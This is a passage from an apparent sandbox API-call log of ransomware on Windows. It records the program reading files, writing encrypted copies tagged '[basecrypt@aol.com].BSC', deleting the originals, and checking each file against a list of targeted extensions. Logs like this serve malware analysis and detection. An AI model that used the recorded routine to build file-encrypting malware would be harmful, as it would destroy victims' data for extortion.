dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0103.879] GetLastError () returned 0x0 [0103.879] ReadFile (in: hFile=0x35c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x3ef6, lpOverlapped=0x0) returned 1 [0103.935] WriteFile (in: hFile=0x334, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0x3f00, lpOverlapped=0x0) returned 1 [0103.937] ReadFile (in: hFile=0x35c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x0, lpOverlapped=0x0) returned 1 [0103.937] WriteFile (in: hFile=0x334, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0xf4, lpOverlapped=0x0) returned 1 [0103.937] SetEndOfFile (hFile=0x334) returned 1 [0103.959] CloseHandle (hObject=0x334) returned 1 [0103.965] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0103.965] SetEndOfFile (hFile=0x35c) returned 1 [0103.966] CloseHandle (hObject=0x35c) returned 1 [0103.966] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.966] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 1 [0103.967] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0103.967] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0103.967] lstrlenW (lpString=".doc") returned 4 [0103.967] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0103.967] lstrlenW (lpString=".docx") returned 5 [0103.967] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0103.967] lstrlenW (lpString=".pdf") returned 4 [0103.967] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0103.967] lstrlenW (lpString=".xls") returned 4 [0103.967] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0103.967] lstrlenW (lpString=".xlsx") returned 5 [0103.967] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0103.967] lstrlenW (lpString=".ppt") returned 4 [0103.968] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0103.968] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0103.968] lstrlenW (lpString=".zip") returned 4 [0103.968] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0103.968] lstrlenW (lpString=".rar") returned 4 [0103.968] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0103.968] lstrlenW (lpString=".bz2") returned 4 [0103.968] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0103.968] lstrlenW (lpString=".7z") returned 3 [0103.968] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0103.968] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0103.968] lstrlenW (lpString=".dbf") returned 4 [0103.968] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0103.968] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0103.968] lstrlenW (lpString=".1cd") returned 4 [0103.968] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0103.968] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0103.968] lstrlenW (lpString=".jpg") returned 4 [0103.968] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0103.968] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0103.968] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0103.968] lstrlenW (lpString=".doc") returned 4 [0103.968] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0103.968] lstrlenW (lpString=".docx") returned 5 [0103.969] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0103.969] lstrlenW (lpString=".pdf") returned 4 [0103.969] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0103.969] lstrlenW (lpString=".xls") returned 4 [0103.969] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0103.969] lstrlenW (lpString=".xlsx") returned 5 [0103.969] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0103.969] lstrlenW (lpString=".ppt") returned 4 [0103.969] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0103.969] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0103.969] lstrlenW (lpString=".zip") returned 4 [0103.969] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0103.969] lstrlenW (lpString=".rar") returned 4 [0103.969] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0103.969] lstrlenW (lpString=".bz2") returned 4 [0103.969] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0103.969] lstrlenW (lpString=".7z") returned 3 [0103.969] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0103.969] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0103.969] lstrlenW (lpString=".dbf") returned 4 [0103.969] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0103.969] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0103.969] lstrlenW (lpString=".1cd") returned 4 [0103.969] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0103.969] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0103.969] lstrlenW (lpString=".jpg") returned 4 [0103.970] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0103.970] lstrcmpiW (lpString1=".bmp", lpString2=".BSC") returned -1 [0103.970] lstrlenW (lpString="header.bmp") returned 10 [0103.970] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0103.980] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x33fff14 | out: lpFileSize=0x33fff14*=3628) returned 1 [0103.980] CloseHandle (hObject=0x370) returned 1 [0103.981] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 0x80 [0103.981] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.981] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0103.981] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0103.981] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0103.981] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0103.981] GetLastError () returned 0x0 [0103.981] ReadFile (in: hFile=0x370, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0xe2c, lpOverlapped=0x0) returned 1 [0104.325] WriteFile (in: hFile=0x374, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0xe30, lpOverlapped=0x0) returned 1 [0104.326] ReadFile (in: hFile=0x370, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x0, lpOverlapped=0x0) returned 1 [0104.326] WriteFile (in: hFile=0x374, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0xe8, lpOverlapped=0x0) returned 1 [0104.326] SetEndOfFile (hFile=0x374) returned 1 [0104.326] CloseHandle (hObject=0x374) returned 1 [0104.327] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0104.327] SetEndOfFile (hFile=0x370) returned 1 [0104.328] CloseHandle (hObject=0x370) returned 1 [0104.329] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0104.329] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 1 [0104.329] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0104.329] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0104.329] lstrlenW (lpString=".doc") returned 4 [0104.329] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0104.329] lstrlenW (lpString=".docx") returned 5 [0104.329] lstrcmpiW (lpString1=".docx", lpString2="r.bmp") returned -1 [0104.330] lstrlenW (lpString=".pdf") returned 4 [0104.330] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0104.330] lstrlenW (lpString=".xls") returned 4 [0104.330] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0104.330] lstrlenW (lpString=".xlsx") returned 5 [0104.330] lstrcmpiW (lpString1=".xlsx", lpString2="r.bmp") returned -1 [0104.330] lstrlenW (lpString=".ppt") returned 4 [0104.330] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0104.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0104.330] lstrlenW (lpString=".zip") returned 4 [0104.330] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0104.330] lstrlenW (lpString=".rar") returned 4 [0104.330] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0104.330] lstrlenW (lpString=".bz2") returned 4 [0104.330] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0104.330] lstrlenW (lpString=".7z") returned 3 [0104.330] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0104.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0104.330] lstrlenW (lpString=".dbf") returned 4 [0104.330] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0104.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0104.330] lstrlenW (lpString=".1cd") returned 4 [0104.330] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0104.330] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0104.330] lstrlenW (lpString=".jpg") returned 4 [0104.330] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0104.331] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0104.331] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0104.331] lstrlenW (lpString=".doc") returned 4 [0104.331] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0104.331] lstrlenW (lpString=".docx") returned 5 [0104.331] lstrcmpiW (lpString1=".docx", lpString2="r.bmp") returned -1 [0104.331] lstrlenW (lpString=".pdf") returned 4 [0104.331] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0104.331] lstrlenW (lpString=".xls") returned 4 [0104.331] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0104.331] lstrlenW (lpString=".xlsx") returned 5 [0104.331] lstrcmpiW (lpString1=".xlsx", lpString2="r.bmp") returned -1 [0104.331] lstrlenW (lpString=".ppt") returned 4 [0104.331] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0104.331] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0104.331] lstrlenW (lpString=".zip") returned 4 [0104.331] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0104.331] lstrlenW (lpString=".rar") returned 4 [0104.332] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0104.332] lstrlenW (lpString=".bz2") returned 4 [0104.332] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0104.332] lstrlenW (lpString=".7z") returned 3 [0104.332] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0104.332] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0104.332] lstrlenW (lpString=".dbf") returned 4 [0104.332] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0104.332] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0104.332] lstrlenW (lpString=".1cd") returned 4 [0104.332] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0104.332] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0104.332] lstrlenW (lpString=".jpg") returned 4 [0104.332] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0104.332] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0104.332] lstrlenW (lpString="Strings.xml") returned 11 [0104.332] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0104.333] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x33fff14 | out: lpFileSize=0x33fff14*=14084) returned 1 [0104.333] CloseHandle (hObject=0x370) returned 1 [0104.333] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 0x80 [0104.333] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0104.333] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0104.333] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0104.334] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0104.334] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\strings.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0104.334] GetLastError () returned 0x0 [0104.334] ReadFile (in: hFile=0x370, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x3704, lpOverlapped=0x0) returned 1 [0104.668] WriteFile (in: hFile=0x374, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x3710, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0x3710, lpOverlapped=0x0) returned 1 [0104.669] ReadFile (in: hFile=0x370, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x0, lpOverlapped=0x0) returned 1 [0104.669] WriteFile (in: hFile=0x374, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0xea, lpOverlapped=0x0) returned 1 [0104.670] SetEndOfFile (hFile=0x374) returned 1 [0104.670] CloseHandle (hObject=0x374) returned 1 [0104.672] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0104.672] SetEndOfFile (hFile=0x370) returned 1 [0104.673] CloseHandle (hObject=0x370) returned 1 [0104.674] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0104.677] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 1 [0104.678] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0104.678] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0104.678] lstrlenW (lpString=".doc") returned 4 [0104.678] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0104.678] lstrlenW (lpString=".docx") returned 5 [0104.678] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0104.678] lstrlenW (lpString=".pdf") returned 4 [0104.678] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0104.678] lstrlenW (lpString=".xls") returned 4 [0104.678] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0104.678] lstrlenW (lpString=".xlsx") returned 5 [0104.678] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0104.678] lstrlenW (lpString=".ppt") returned 4 [0104.678] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0104.678] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0104.678] lstrlenW (lpString=".zip") returned 4 [0104.678] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0104.678] lstrlenW (lpString=".rar") returned 4 [0104.679] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0104.679] lstrlenW (lpString=".bz2") returned 4 [0104.679] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0104.679] lstrlenW (lpString=".7z") returned 3 [0104.679] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0104.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0104.679] lstrlenW (lpString=".dbf") returned 4 [0104.679] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0104.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0104.679] lstrlenW (lpString=".1cd") returned 4 [0104.679] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0104.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0104.679] lstrlenW (lpString=".jpg") returned 4 [0104.679] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0104.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0104.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0104.679] lstrlenW (lpString=".doc") returned 4 [0104.679] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0104.679] lstrlenW (lpString=".docx") returned 5 [0104.679] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0104.679] lstrlenW (lpString=".pdf") returned 4 [0104.679] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0104.679] lstrlenW (lpString=".xls") returned 4 [0104.679] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0104.679] lstrlenW (lpString=".xlsx") returned 5 [0104.679] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0104.680] lstrlenW (lpString=".ppt") returned 4 [0104.680] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0104.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0104.680] lstrlenW (lpString=".zip") returned 4 [0104.680] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0104.680] lstrlenW (lpString=".rar") returned 4 [0104.680] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0104.680] lstrlenW (lpString=".bz2") returned 4 [0104.680] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0104.680] lstrlenW (lpString=".7z") returned 3 [0104.680] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0104.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0104.680] lstrlenW (lpString=".dbf") returned 4 [0104.680] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0104.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0104.680] lstrlenW (lpString=".1cd") returned 4 [0104.680] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0104.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\Strings.xml") returned 33 [0104.680] lstrlenW (lpString=".jpg") returned 4 [0104.680] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0104.680] lstrcmpiW (lpString1=".p7b", lpString2=".BSC") returned 1 [0104.680] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24 [0104.681] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0105.083] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x33fff14 | out: lpFileSize=0x33fff14*=4662) returned 1 [0105.083] CloseHandle (hObject=0x34c) returned 1 [0105.083] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0105.083] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0105.083] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0105.083] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0105.083] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0105.083] lstrlenW (lpString=".doc") returned 4 [0105.083] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0105.083] lstrlenW (lpString=".docx") returned 5 [0105.083] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0105.083] lstrlenW (lpString=".pdf") returned 4 [0105.083] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0105.083] lstrlenW (lpString=".xls") returned 4 [0105.084] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0105.084] lstrlenW (lpString=".xlsx") returned 5 [0105.084] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0105.084] lstrlenW (lpString=".ppt") returned 4 [0105.084] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0105.084] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0105.084] lstrlenW (lpString=".zip") returned 4 [0105.084] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0105.084] lstrlenW (lpString=".rar") returned 4 [0105.084] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0105.084] lstrlenW (lpString=".bz2") returned 4 [0105.084] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0105.084] lstrlenW (lpString=".7z") returned 3 [0105.084] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0105.084] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0105.084] lstrlenW (lpString=".dbf") returned 4 [0105.084] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0105.084] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0105.084] lstrlenW (lpString=".1cd") returned 4 [0105.084] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0105.084] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0105.084] lstrlenW (lpString=".jpg") returned 4 [0105.084] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0105.084] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0105.084] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0105.084] lstrlenW (lpString=".doc") returned 4 [0105.084] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0105.084] lstrlenW (lpString=".docx") returned 5 [0105.084] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0105.084] lstrlenW (lpString=".pdf") returned 4 [0105.085] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0105.085] lstrlenW (lpString=".xls") returned 4 [0105.085] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0105.085] lstrlenW (lpString=".xlsx") returned 5 [0105.085] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0105.085] lstrlenW (lpString=".ppt") returned 4 [0105.085] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0105.085] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0105.085] lstrlenW (lpString=".zip") returned 4 [0105.085] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0105.085] lstrlenW (lpString=".rar") returned 4 [0105.085] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0105.085] lstrlenW (lpString=".bz2") returned 4 [0105.085] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0105.085] lstrlenW (lpString=".7z") returned 3 [0105.085] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0105.085] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0105.085] lstrlenW (lpString=".dbf") returned 4 [0105.085] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0105.085] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0105.085] lstrlenW (lpString=".1cd") returned 4 [0105.085] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0105.085] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0105.085] lstrlenW (lpString=".jpg") returned 4 [0105.085] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0105.085] lstrcmpiW (lpString1=".xml", 